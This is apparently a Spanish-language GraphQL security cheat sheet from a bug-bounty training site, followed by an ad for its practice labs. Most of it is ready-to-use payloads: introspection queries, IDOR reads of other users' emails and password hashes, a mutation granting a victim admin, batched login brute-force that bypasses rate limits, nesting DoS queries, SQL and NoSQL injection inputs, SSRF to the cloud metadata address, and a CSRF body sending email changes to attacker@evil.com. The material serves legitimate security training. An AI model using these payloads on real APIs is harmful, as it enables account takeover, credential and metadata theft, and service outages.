Cheatsheet GraphQL

Seguridad en APIs GraphQL

Referencia rápida

  • Si la introspeccion esta deshabilitada, usar clairvoyance con wordlists para descubrir el schema
  • Batch queries permiten bypass de rate limit enviando multiples operaciones en una request
  • Aliases permiten enumerar IDs de otros usuarios sin enviar multiples requests HTTP
  • Probar cambiar Content-Type a application/x-www-form-urlencoded para CSRF en GraphQL
  • Los campos que no se muestran en el frontend pueden existir en el schema - siempre hacer introspeccion

Introspeccion y descubrimiento

Query de introspeccion completa

{__schema{types{name,fields{name,args{name,type{name}}}}}}

Introspeccion detallada

query IntrospectionQuery {
  __schema {
    queryType { name }
    mutationType { name }
    types { name kind fields { name type { name kind ofType { name } } } }
  }
}

Buscar tipo especifico

{__type(name:"User"){name,fields{name,type{name}}}}

Listar directivas

{__schema{directives{name,description,locations}}}

Introspeccion deshabilitada - probeSi __typename funciona pero __schema no, la introspeccion esta parcialmente bloqueada

query { __typename }

IDOR y autorizacion

Acceder a datos de otro usuario

query { user(id: "victim-uuid") { email password role } }

Aliases para enumerar IDsAliases permiten multiples queries en una sola request

query {
  a: user(id: "1") { email }
  b: user(id: "2") { email }
  c: user(id: "3") { email }
}

Mutation sin autorizacion

mutation { updateUser(id: "victim-id", input: { role: "admin" }) { id role } }

Acceso a campos sensiblesEl schema puede exponer campos que no deberian ser accesibles

query { user(id: "my-id") { email passwordHash apiKey secretToken } }

Batch attacks y DoS

Batch query para brute forceBypass de rate limit: multiples logins en una sola request HTTP

[
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass1\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass2\") { token } }"},
  {"query": "mutation { login(email:\"admin@target.com\", password:\"pass3\") { token } }"}
]

Deep nesting DoSQueries profundamente anidadas pueden consumir recursos del servidor

query { user { posts { comments { author { posts { comments { author { name } } } } } } } }

Circular reference DoS

query { user { friends { friends { friends { friends { name } } } } } }

Field duplication1000 campos duplicados para sobrecargar el resolver

query { user { name name name name name name name name name name } }

Injection en GraphQL

SQLi en argumento

query { user(name: "admin' OR '1'='1") { id email } }

NoSQLi en filtro

query { users(filter: {email: {$ne: ""}}) { id email } }

SSRF via campo URL

mutation { importData(url: "http://169.254.169.254/latest/meta-data/") { result } }

CSRF en GraphQLSi el endpoint acepta urlencoded ademas de JSON

Content-Type: application/x-www-form-urlencoded
Body: query=mutation{changeEmail(email:"attacker@evil.com")}

Herramientas

GraphQL Voyager

Visualizador interactivo del schema GraphQL para entender la API

Cargar schema en https://graphql-kit.com/graphql-voyager/

InQL (Burp)

Extension de Burp para analisis automatizado de endpoints GraphQL

Burp Suite > Extensions > InQL > Point to /graphql

graphql-cop

Auditor de seguridad GraphQL que detecta misconfigurations comunes

python3 graphql-cop.py -t https://target.com/graphql

clairvoyance

Obtener schema GraphQL cuando la introspeccion esta deshabilitada

python3 -m clairvoyance -u https://target.com/graphql -w wordlist.txt

¿Listo para practicar?

Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.

Ver labs de práctica
650

hunters entrenando

50

labs de reportes reales

380

completaciones

$200.000

en bounties practicados

40 flags capturadas esta semana·Reportes reales de HackerOne · Bugcrowd · Intigriti·Sin permanencia·Academy gratis
BBLabs · bug bounty en español

Deja de leer sobre bugs y empieza a cazarlos

Crea tu cuenta gratis y practica sobre labs basados en reportes reales que pagaron miles de euros. La Academy es gratis para siempre.

Sin tarjeta · Academy gratis · cancela cuando quieras